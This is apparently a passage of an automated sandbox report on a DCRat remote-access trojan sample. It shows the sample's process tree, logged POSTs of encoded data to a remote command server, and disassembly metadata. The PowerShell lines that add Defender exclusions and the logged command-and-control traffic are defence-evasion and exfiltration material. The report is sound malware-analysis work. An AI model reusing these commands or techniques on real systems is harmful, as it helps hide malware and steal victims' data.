Apr 20, 2024 00:43:54.173116922 CEST	2568	OUT	Data Raw: 5f 55 5b 5f 54 5f 5d 51 5d 56 5a 59 52 5a 56 5a 54 51 5c 53 50 53 53 52 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _U[_T_]Q]VZYRZVZTQ\SPSSRW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'$&7)-W&0X144?;!/&#2T=[#,<.$.G#$Z-)
Apr 20, 2024 00:43:54.438055038 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	49859	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:54.826199055 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:55.088253021 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:55.088462114 CEST	2568	OUT	Data Raw: 5a 57 5e 59 51 5d 5d 55 5d 56 5a 59 52 50 56 50 54 53 5c 5b 50 52 53 5b 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZW^YQ]]U]VZYRPVPTS\[PRS[W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'$?>79!S$$]';/^7(<(:#"<.#%=? !<?..G#$Z-
Apr 20, 2024 00:43:55.363457918 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	49860	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:55.767292976 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:56.028645992 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:56.028892994 CEST	2568	OUT	Data Raw: 5a 51 5e 5e 54 5c 58 57 5d 56 5a 59 52 5f 56 55 54 52 5c 5f 50 5e 53 5a 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZQ^^T\XW]VZYR_VUTR\_P^SZW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$$/-7"' 4_&+^#;+ 51"!:$ Z+S9$.G#$Z-
Apr 20, 2024 00:43:56.297125101 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	49861	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:56.680737019 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:56.938898087 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:56.939290047 CEST	2568	OUT	Data Raw: 5f 5b 5b 5b 51 5a 5d 51 5d 56 5a 59 52 5d 56 55 54 5c 5c 58 50 53 53 5f 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _[[[QZ]Q]VZYR]VUT\\XPSS_W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$Y&<7)U34&8/X7;#W();]5>#W1* :.G#$Z-5
Apr 20, 2024 00:43:57.204602957 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	49862	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:57.592932940 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:57.854352951 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:57.854532003 CEST	2568	OUT	Data Raw: 5a 52 5b 5c 54 5f 58 56 5d 56 5a 59 52 5f 56 5b 54 51 5c 5e 50 57 53 52 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZR[\T_XV]VZYR_V[TQ\^PWSRW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$X3<B U$<^& #+;T+!1U4!>?#,-4.G#$Z-
Apr 20, 2024 00:43:58.123379946 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49864	109.107.182.145	80

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:44:00.743849039 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:44:01.002367020 CEST	25	IN	HTTP/1.1 100 Continue

Target ID:	0
Start time:	00:41:54
Start date:	20/04/2024
Path:	C:\Users\user\Desktop\fDTPlvsGfH.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\fDTPlvsGfH.exe"
Imagebase:	0x60000
File size:	2'669'568 bytes
MD5 hash:	B8298EE526BB093E3C96686D26D1361F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000000.1623414051.0000000000062000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:41:57
Start date:	20/04/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:41:57
Start date:	20/04/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Downloaded Program Files\MoUsoCoreWorker.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:41:57
Start date:	20/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:41:57
Start date:	20/04/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:41:57
Start date:	20/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:41:57
Start date:	20/04/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:41:57
Start date:	20/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:41:57
Start date:	20/04/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\Start Menu\Programs\Accessories\csrss.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:41:57
Start date:	20/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	00:41:57
Start date:	20/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:41:58
Start date:	20/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\46FAiS0S6O.bat"
Imagebase:	0x7ff688120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	00:41:58
Start date:	20/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:41:58
Start date:	20/04/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff629720000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	00:41:59
Start date:	20/04/2024
Path:	C:\Windows\System32\w32tm.exe
Wow64 process (32bit):	false
Commandline:	w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Imagebase:	0x7ff658720000
File size:	108'032 bytes
MD5 hash:	81A82132737224D324A3E8DA993E2FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	00:42:03
Start date:	20/04/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	00:42:04
Start date:	20/04/2024
Path:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe"
Imagebase:	0x580000
File size:	2'669'568 bytes
MD5 hash:	B8298EE526BB093E3C96686D26D1361F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 79%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	00:42:11
Start date:	20/04/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	14.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	6.7%
Total number of Nodes:	30
Total number of Limit Nodes:	2

Executed Functions

Function 00007FFD9B8B1EC3 Relevance: 16.5, Strings: 12, Instructions: 1497
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

], xrefs: 00007FFD9B8B289A
}, xrefs: 00007FFD9B8B2D4A
H, xrefs: 00007FFD9B8B2ED1
[, xrefs: 00007FFD9B8B2567
[, xrefs: 00007FFD9B8B2856
", xrefs: 00007FFD9B8B2463
{, xrefs: 00007FFD9B8B2D06
], xrefs: 00007FFD9B8B25AB
}, xrefs: 00007FFD9B8B3200
\, xrefs: 00007FFD9B8B1FC5
{, xrefs: 00007FFD9B8B31BC
u, xrefs: 00007FFD9B8B20EC

Memory Dump Source

Source File: 00000000.00000002.1745766001.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_fDTPlvsGfH.jbxd

Similarity

API ID:
String ID: "$H$[$[$\$]$]$u${${$}$}
API String ID: 0-2063274034
Opcode ID: fc93819d5a662d359437d0ca39a3ebcf9dc63c465f89418d8694de839b0f594c
Instruction ID: ecac3fc264c8e1af8be2ce8f3d081a80d3023450ab0c4aa4f064e20d7ba19cdd
Opcode Fuzzy Hash: fc93819d5a662d359437d0ca39a3ebcf9dc63c465f89418d8694de839b0f594c
Instruction Fuzzy Hash: A4D2B670E1962D8FDBA8DF68C894BE9B7B1FF59301F5041EAD00DA7295DA346A81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BEC5A Relevance: 1.7, APIs: 1, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32 ref: 00007FFD9B8BED72

Memory Dump Source

Source File: 00000000.00000002.1745766001.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_fDTPlvsGfH.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: bd3bf3e1d672cb336a4c879353c21a144e7b259a449324e87306a934cd5e67b1
Instruction ID: 96873012bff873d7c02945fdb7ea5880252ac525558d236ca6f0105927d3531f
Opcode Fuzzy Hash: bd3bf3e1d672cb336a4c879353c21a144e7b259a449324e87306a934cd5e67b1
Instruction Fuzzy Hash: 3351D23090CA5C8FDB99DFA8D855AE9BBF0FF59311F0041ABD04DD72A2DA346946CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C3415 Relevance: .7, Instructions: 702COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745766001.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_fDTPlvsGfH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc83911747b5fe32848b8850791bff12936f82a8fe59ad41da747b61c128f6e7
Instruction ID: 62bf92cbdd1f793350b4d21a1ad52cbec7ea785787401bb2aa2db073aee4b1bf
Opcode Fuzzy Hash: fc83911747b5fe32848b8850791bff12936f82a8fe59ad41da747b61c128f6e7
Instruction Fuzzy Hash: 45525970A1961D8FDB68DF54C4A0BF977B2FF58304F5041ADD05EAB292CB38AA46DB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BD04A Relevance: 1.8, APIs: 1, Instructions: 294
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileTransactedW.KERNEL32 ref: 00007FFD9B8BD252

Memory Dump Source

Source File: 00000000.00000002.1745766001.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_fDTPlvsGfH.jbxd

Similarity

API ID: CreateFileTransacted
String ID:
API String ID: 2149338676-0
Opcode ID: be7115ea53042cd1c3a5ee327c145c11b989936243cc0a54b4acd841c4a7fb38
Instruction ID: 53e02fe37deb5815fb4b015cfa2a1d37ab6f677f573c8842fb40275bcff8a712
Opcode Fuzzy Hash: be7115ea53042cd1c3a5ee327c145c11b989936243cc0a54b4acd841c4a7fb38
Instruction Fuzzy Hash: 9C912270908A5D8FDB99DF58C894BA9BBF1FB6A310F1001AED04DE3291DB75A984CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BD2F5 Relevance: 1.7, APIs: 1, Instructions: 216
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32 ref: 00007FFD9B8BD479

Memory Dump Source

Source File: 00000000.00000002.1745766001.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_fDTPlvsGfH.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d4274b87ed2e2aa098d980aac93fe421b11a8d9abfa8d963ccf8b8523788f5ba
Instruction ID: 65b0dcbceaad9b2dc83b1e51068db24fb45080cc32a49a7712d47d750aeac56d
Opcode Fuzzy Hash: d4274b87ed2e2aa098d980aac93fe421b11a8d9abfa8d963ccf8b8523788f5ba
Instruction Fuzzy Hash: B7610370A08A5C8FDB98DF58C895BE9BBF1FB69310F1041AED04DE3251DA74A985CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B920897 Relevance: 1.7, APIs: 1, Instructions: 153
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32 ref: 00007FFD9B9209A1

Memory Dump Source

Source File: 00000000.00000002.1745766001.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_fDTPlvsGfH.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 25fc66b85243d266a743b0fee4efc78d4e8f0bc5177ae18bda88625bb180f18a
Instruction ID: 38d20d5b965ec8d3c087b28125f6f85b586f077341688834698bf66469b555fd
Opcode Fuzzy Hash: 25fc66b85243d266a743b0fee4efc78d4e8f0bc5177ae18bda88625bb180f18a
Instruction Fuzzy Hash: 11415B74E0860C8FDF58EF98D895AEDBBF0FB59310F10416AD40DE7252DA31A986CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BEC91 Relevance: 1.6, APIs: 1, Instructions: 144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32 ref: 00007FFD9B8BED72

Memory Dump Source

Source File: 00000000.00000002.1745766001.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_fDTPlvsGfH.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: bd67bd13aacc739c1d14d5608a79010d8836b00d36f3fc50de9774592fa32461
Instruction ID: f5214fd8ffecf3dc0a9bb765a3302126e5d8bd9ab98358d7a0b2fcb32b6c3677
Opcode Fuzzy Hash: bd67bd13aacc739c1d14d5608a79010d8836b00d36f3fc50de9774592fa32461
Instruction Fuzzy Hash: AD41B03090C68C8FDB99DFA8D859BE9BBF0EF5A310F0441ABD04DD72A2CA745946CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA8DAF2 Relevance: 1.6, Strings: 1, Instructions: 320
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

J._H, xrefs: 00007FFD9BA8DB5D

Memory Dump Source

Source File: 00000000.00000002.1750913435.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba80000_fDTPlvsGfH.jbxd

Similarity

API ID:
String ID: J._H
API String ID: 0-2719646870
Opcode ID: b234425d3cdd4e145bf125361e9ad5ced3885086aa5c535d4ac1568275afac1c
Instruction ID: 886a274f83fd8f3e76a4f76ae34dbe10044381c744413323b22001740c940226
Opcode Fuzzy Hash: b234425d3cdd4e145bf125361e9ad5ced3885086aa5c535d4ac1568275afac1c
Instruction Fuzzy Hash: 92B1D270B0AE4A8FE759DB68D0A06A4B7A1FF58300F55417DC08EC7E96DB78B951CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BF0F5 Relevance: 1.4, APIs: 1, Instructions: 196
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 00007FFD9B8BF229

Memory Dump Source

Source File: 00000000.00000002.1745766001.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_fDTPlvsGfH.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: cde15bf6cca83c808ceccc2b95b0ec26a70c79f831701a89ee2a2c0eb24ff94a
Instruction ID: f2010021a1a5800dc1af4d51ef11380581b5ef6b6bb748354001429821ec183b
Opcode Fuzzy Hash: cde15bf6cca83c808ceccc2b95b0ec26a70c79f831701a89ee2a2c0eb24ff94a
Instruction Fuzzy Hash: 70511874918A5C8FDF98DF58C895BE9BBF0FB69310F1042AAD04DE3251DB70A985CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA8DFC8 Relevance: 1.4, Strings: 1, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00007FFD9BA8E042

Memory Dump Source

Source File: 00000000.00000002.1750913435.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba80000_fDTPlvsGfH.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: a60671ffe416f7cc8d781266cf3c9f0253a2378f9f56e3fea292acd794612156
Instruction ID: f00c2a52abf107644acdf686de1512e3e11513dc64a8e96af34b6e01e778c9a6
Opcode Fuzzy Hash: a60671ffe416f7cc8d781266cf3c9f0253a2378f9f56e3fea292acd794612156
